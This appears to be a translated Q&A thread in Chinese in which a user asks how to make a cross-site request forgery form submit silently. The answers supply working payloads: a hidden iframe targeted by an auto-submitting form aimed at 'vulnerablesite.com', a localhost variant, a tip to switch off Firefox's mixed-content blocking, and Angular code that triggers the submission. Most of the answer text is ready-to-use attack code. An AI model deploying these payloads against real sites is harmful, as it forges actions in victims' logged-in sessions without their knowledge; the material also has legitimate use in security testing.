【问题标题】:Example of silently submitting a POST FORM (CSRF)静默提交 POST FORM (CSRF) 的示例
【发布时间】:2013-07-30 05:35:44
【问题描述】:

我很想知道如何在没有用户通知的情况下静默提交 CSRF 的 POST 表单(重定向到 POSTed URL 的文档位置不是静默的)。

例子:

<form method='POST' action='http://vulnerablesite.com/form.php'>
<input type='hidden' name='criticaltoggle' value='true'
<input type='submit' value='submit'>
</form>

在外部网站上,我需要做什么才能自动且静默地触发此表单?

【问题讨论】:

    标签: security csrf


    【解决方案1】:

    一种解决方案是在 iframe 之类的框架中打开表单的操作:

    <iframe style="display:none" name="csrf-frame"></iframe>
    <form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form">
      <input type='hidden' name='criticaltoggle' value='true'>
      <input type='submit' value='submit'>
    </form>
    <script>document.getElementById("csrf-form").submit()</script>
    

    【讨论】:

      【解决方案2】:

      在本地测试 CSRF 时,您可能需要克服一些安全措施。

      对于Blocked loading mixed active content错误,请确保攻击站点和目标站点的协议(http/https)相同,或者使用“//”作为攻击站点的协议。本地主机攻击示例:

      <iframe style="display:none" id="csrf-frame-invisible" name="csrf-frame-invisible"></iframe>
      <form style="display:none" method='POST' action='//localhost:4000' target="csrf-frame-invisible" name="csrf-form-invisible" id="csrf-form-invisible">
        <input type='hidden' name='boo' value='true'>
        <input type='submit' value='Submit'>
      </form>
      

      或者将 Firefox 的 security.mixed_content.block_active_content 设置为 false


      如果使用 Angular,安全选项会阻止您使用内联 javascript,因此您需要将提交移动到攻击者站点上的代码隐藏:

      ngOnInit() {
         const myForm: HTMLFormElement = document.getElementById('csrf-form-invisible') as HTMLFormElement;
         myForm.submit();
      }
      

      最后不能设置攻击者站点的头部'x-frame-options'

      【讨论】:

        猜你喜欢
        • 2020-07-18
        • 2018-09-27
        • 2016-12-20
        • 2010-12-06
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 2014-06-01
        相关资源
        最近更新 更多